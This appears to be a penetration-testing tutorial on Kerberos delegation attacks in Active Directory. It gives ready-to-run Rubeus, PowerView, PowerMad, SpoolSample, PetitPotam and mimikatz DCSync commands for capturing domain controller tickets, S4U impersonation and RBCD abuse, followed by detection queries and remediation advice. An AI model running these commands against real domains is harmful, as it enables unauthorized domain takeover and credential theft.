Skip to Content
Kerberos delegation attack flow diagram showing TGT capture and S4U2Proxy chain

Kerberos delegation attacks: unconstrained, constrained and RBCD

Abusing Kerberos delegation in Active Directory with unconstrained delegation TGT capture, the S4U extensions and resource-based constrained delegation.

Sep 22, 2026
Updated Nov 22, 2026
13 min read

Introduction

Kerberos delegation lets a service authenticate to a second service as the user who connected to it. The usual example is a web frontend that queries a backend database as the visiting user. There are three delegation types (unconstrained, constrained and resource-based constrained), and each can be abused without cracking a password or exploiting a CVE.

Unconstrained delegation is the oldest type and the worst to find. A host with TrustedForDelegation=True receives a forwarded copy of the TGT of every user that authenticates to it. That includes a domain controller you coerce into connecting, and the captured TGT is usable until it expires. Constrained delegation limits which services a host can delegate to. The S4U2Self extension still lets a host with protocol transition get a forwardable service ticket to itself for any domain user, with no involvement from that user. Resource-based constrained delegation (RBCD) puts the decision on the target: the target computer lists who may delegate to it, and anyone who can write its msDS-AllowedToActOnBehalfOfOtherIdentity attribute can add an account they control.

BloodHound collects all three. Computers with TrustedForDelegation have the unconstraineddelegation property, msDS-AllowedToDelegateTo becomes AllowedToDelegate edges, and msDS-AllowedToActOnBehalfOfOtherIdentity becomes AllowedToAct edges. Enumerate with BloodHound or PowerView before you do anything else. Coercing a DC is loud, and it is wasted if you do not control the unconstrained host it connects to.

Authorization required

These techniques steal tickets, coerce domain controller authentication and move laterally. Use them only in authorized penetration tests or red team engagements with written scope. Printer Bug and PetitPotam coercion show up in domain controller logs straight away.

Impact

  • A DC TGT captured on an unconstrained delegation host leads to DCSync and the whole domain
  • You can impersonate any domain user to the services a constrained delegation account may delegate to, without that user's credentials
  • Write access to msDS-AllowedToActOnBehalfOfOtherIdentity on a computer gets you local admin on it
  • A machine account you created plus an RBCD entry is persistence that survives password resets of the accounts you compromised
  • Delegation that crosses a trust carries the attack into the other domain
  • With a computer account's hash or TGT, S4U2Self gives you a service ticket to that computer as any user, which works like a Silver Ticket

Technical details

Unconstrained delegation

When a service account or computer has TrustedForDelegation=True, the KDC sets the ok-as-delegate flag on service tickets issued for it. A Windows client that sees the flag requests a forwarded TGT and sends it to the service inside the authenticator of the AP-REQ. The KDC does not put the TGT in the service ticket. The host caches the forwarded TGT in LSA. Every account that authenticates to the host over Kerberos leaves a usable TGT there: users, computer accounts, and a domain controller you coerce.

In practice you coerce the domain controller's computer account into authenticating to the unconstrained host. MS-RPRN (Printer Bug) and MS-EFSR (PetitPotam) both make the DC authenticate with its machine account, which holds replication rights. With that TGT you can DCSync without Domain Admin credentials.

Constrained delegation and S4U

Constrained delegation limits a service account or computer to a list of SPNs in msDS-AllowedToDelegateTo. It is built on the S4U extensions, which Microsoft specifies in MS-SFU:

ExtensionWhat it does
S4U2SelfThe service requests a service ticket to itself for any user. The ticket is forwardable only if the service account has TrustedToAuthForDelegation (protocol transition)
S4U2ProxyThe service presents that forwardable ticket and gets a service ticket for the target SPN as the user

With the chain, a compromised service account impersonates a domain administrator to any SPN in its msDS-AllowedToDelegateTo list. All you need is the service account's NT hash or AES key. The impersonated user never has to connect.

Resource-based constrained delegation (RBCD)

RBCD (introduced in Windows Server 2012) moves the configuration to the target resource. The target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute holds a security descriptor that lists the accounts allowed to delegate to it. An account with GenericWrite, GenericAll, WriteProperty or WriteDacl on the target computer object can set the attribute.

For the attack you create a machine account (the default MachineAccountQuota lets any domain user create up to 10), set the target's msDS-AllowedToActOnBehalfOfOtherIdentity to trust it, then run S4U2Self and S4U2Proxy to get a service ticket as a domain admin for the target's CIFS SPN. You know the machine account's password because you set it.

Enumerate delegation configurations

BloodHound Cypher: Unconstrained Delegation Computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
PowerView: All Three Delegation Types
# Unconstrained
Get-DomainComputer -Unconstrained | Select-Object name, dnshostname

# Constrained (accounts and computers)
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto

# RBCD: who can delegate to target
Get-DomainComputer TARGETHOST | Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity
LDAP Query: Unconstrained via ADSISearcher
([adsisearcher]'(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))').FindAll() | ForEach-Object { $_.Properties.dnshostname }

Coerce DC authentication to the unconstrained host

Start Rubeus in monitor mode on the unconstrained host, as a local administrator, before you trigger the coercion:

Rubeus: Monitor for Incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap

Trigger the Printer Bug with any domain account. The DC machine account authenticates to the host you name:

SpoolSample: MS-RPRN Coercion
SpoolSample.exe DC01.corp.local UNCONSTRAINED_HOST.corp.local

PetitPotam is the unauthenticated alternative. It is patched on current DCs but still works on older ones:

PetitPotam: MS-EFSR Coercion
python3 PetitPotam.py -u '' -p '' UNCONSTRAINED_HOST DC01.corp.local

Rubeus prints the DC machine account TGT in base64. Import it and use it:

Rubeus: Import Captured TGT and DCSync
Rubeus.exe ptt /ticket:<base64_ticket>

# Confirm DC$ TGT is in memory
klist

# DCSync with mimikatz
lsadump::dcsync /domain:corp.local /user:krbtgt

Constrained delegation abuse with S4U2Self and S4U2Proxy

You need the NT hash of a service account or computer that has msDS-AllowedToDelegateTo set. Rubeus runs the whole S4U chain:

Rubeus: Full S4U2Proxy Chain
# s4u builds S4U2Self ticket first, then S4U2Proxy to target SPN
Rubeus.exe s4u /user:svc_iis /rc4:NTLMHASH /impersonateuser:Administrator /msdsspn:cifs/webserver.corp.local /ptt

If the SPN in msds-allowedtodelegateto is http/webserver but you want CIFS, add /altservice. The service name is not in the encrypted part of the ticket, so Rubeus rewrites it after the KDC has issued the ticket, and the target host accepts it:

Rubeus: S4U2Proxy with Alternate Service
Rubeus.exe s4u /user:svc_iis /rc4:NTLMHASH /impersonateuser:Administrator /msdsspn:http/webserver.corp.local /altservice:cifs /ptt

Check the ticket and access the target:

Access Target After S4U2Proxy
klist
dir \\webserver.corp.local\c$

RBCD: write msDS-AllowedToActOnBehalfOfOtherIdentity

First confirm you can write to the target computer object. BloodHound shows this as a GenericWrite, GenericAll or WriteDacl edge to the computer. Then create a machine account:

Create Machine Account via PowerMad
Import-Module Powermad.ps1
New-MachineAccount -MachineAccount ATTACKERPC -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)

Get the machine account's SID, then set the target computer's RBCD attribute to trust it:

PowerView: Set RBCD Attribute
Import-Module PowerView.ps1

$AttackerSID = Get-DomainComputer ATTACKERPC | Select-Object -ExpandProperty objectsid

# Build raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AttackerSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# Write to target
Get-DomainComputer TARGETHOST | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Run S4U2Self and S4U2Proxy with the machine account's credentials:

Rubeus: RBCD S4U Chain to Target
# RC4 hash of the machine account password you set
Rubeus.exe hash /password:P@ssw0rd123! /user:ATTACKERPC$ /domain:corp.local

Rubeus.exe s4u /user:ATTACKERPC$ /rc4:MACHINEACCOUNT_HASH /impersonateuser:Administrator /msdsspn:cifs/TARGETHOST.corp.local /ptt

Access the target:

PsExec After RBCD
.\PsExec.exe \\TARGETHOST.corp.local cmd.exe

Cleanup

Clear the RBCD attribute when you are done:

Remove RBCD Attribute
Get-DomainComputer TARGETHOST | Set-DomainObject -Clear msds-allowedtoactonbehalfofotheridentity

Remove the machine account:

Remove Machine Account
Get-ADComputer ATTACKERPC | Remove-ADObject -Recursive -Confirm:$false

Attack tools

Rubeus handles TGT monitoring and every S4U operation on Windows.

Rubeus: Monitor for TGTs (Unconstrained)
# Run on the unconstrained delegation host, monitor every 5 seconds
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$
Rubeus: S4U2Proxy (Constrained Delegation)
Rubeus.exe s4u /user:svc_iis$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/webserver.corp.local /ptt
Rubeus: RBCD Full Chain
# Step 1: Get hash of attacker machine account
Rubeus.exe hash /password:P@ssw0rd123! /user:ATTACKERPC$ /domain:corp.local

# Step 2: S4U chain
Rubeus.exe s4u /user:ATTACKERPC$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/TARGET.corp.local /ptt
Rubeus: Import Base64 TGT
# After capturing TGT from monitor output
Rubeus.exe ptt /ticket:doIFuj[...]

Detection

Event IDs

Event IDLogTrigger
4769SecurityKerberos service ticket request. Filter for TicketOptions: 0x40810010 (forwardable and renewable) from non-interactive logon types
4624SecurityLogon Type 3 from machine accounts to unexpected hosts
4662SecurityObject access on computer objects: a write to msDS-AllowedToActOnBehalfOfOtherIdentity (GUID 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79)
5136SecurityDirectory object modified. An RBCD write shows AttributeLDAPDisplayName = msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object
4741SecurityNew computer account created. Accounts created by ordinary users through MachineAccountQuota can be RBCD preparation

SIEM queries

Splunk: Forwardable TGS Requests (S4U Operations)
index=wineventlog EventCode=4769
| eval TicketOptions=mvindex(split(TicketOptions," "),0)
| where TicketOptions="0x40810010" OR TicketOptions="0x40810000"
| where NOT like(ServiceName, "%$")
| stats count by AccountName, ServiceName, ClientAddress
| where count > 5
Splunk: RBCD Attribute Write
index=wineventlog EventCode=5136
AttributeLDAPDisplayName="msDS-AllowedToActOnBehalfOfOtherIdentity"
| table _time, SubjectUserName, ObjectDN, ObjectClass, OperationType, AttributeValue
Splunk: Machine Account Creation Spike
index=wineventlog EventCode=4741
| stats count by SubjectUserName, dc
| where count > 3

Behavioral indicators

  • Forwardable service tickets requested by computer accounts outside working hours
  • Coercion traffic: MS-RPRN calls from hosts that are not print servers, and MS-EFSR connections to the \pipe\lsarpc or \pipe\efsr named pipes on domain controllers
  • A computer object created by a non-admin user, followed shortly by a change to msDS-AllowedToActOnBehalfOfOtherIdentity on an existing computer
  • Rubeus monitor polling the ticket cache on a host with unconstrained delegation, seen as repeated LSA ticket enumeration by an unusual process

Remediation

Unconstrained delegation

  • List computers with TrustedForDelegation=True using Get-DomainComputer -Unconstrained. Every host on the list collects TGTs.
  • Remove unconstrained delegation from every computer that does not need it. Domain controllers have it by design.
  • Move the services that need delegation to constrained delegation or RBCD.
  • Disable the Print Spooler service (spooler) on all DCs to block MS-RPRN coercion. Check with Get-Service -ComputerName DC01 -Name spooler.
  • Apply Microsoft's PetitPotam mitigations (KB5005413) and enable EPA on ADCS web enrollment endpoints.

Constrained delegation

  • Set Account is sensitive and cannot be delegated (NOT_DELEGATED, ADS_UF_NOT_DELEGATED) on high-value accounts: Domain Admins, Enterprise Admins, and service accounts with equivalent access.
  • Add privileged accounts to the Protected Users group. Members cannot be delegated, cannot use RC4, and their TGTs expire after 4 hours.
  • Audit msDS-AllowedToDelegateTo for broad SPN lists, in particular anything that delegates to krbtgt or to a service on a DC.

RBCD

  • Set ms-DS-MachineAccountQuota on the domain object to 0 (the default is 10), and create machine accounts through a privileged process only.
  • Audit msDS-AllowedToActOnBehalfOfOtherIdentity on all computer objects every quarter. It should be empty unless someone configured it on purpose.
  • Review ACLs on computer objects. Delegated OU permissions that give GenericWrite or WriteProperty to non-admin groups are what make RBCD attacks possible.
  • Use tiered administration: Tier 0 accounts should have no ACL exposure to Tier 1 and Tier 2 computer objects.

General

  • Deploy Microsoft Defender for Identity (MDI). It has built-in detections for Printer Bug coercion, S4U anomalies and RBCD configuration changes.
  • Enable Audit Kerberos Service Ticket Operations, Audit Directory Service Access (4662) and Audit Directory Service Changes (5136) in the GPO audit policy.
  • Credential Guard helps on the client side only. A client with Credential Guard enabled does not use unconstrained delegation (Microsoft documents it as blocked), so its users' TGTs are not forwarded. It does nothing for clients without it, and Microsoft does not recommend enabling it on domain controllers, so a coerced DC still hands over its TGT.

References

MITRE ATT&CK techniques

Protocol specifications

Tools documentation

Next steps

On this page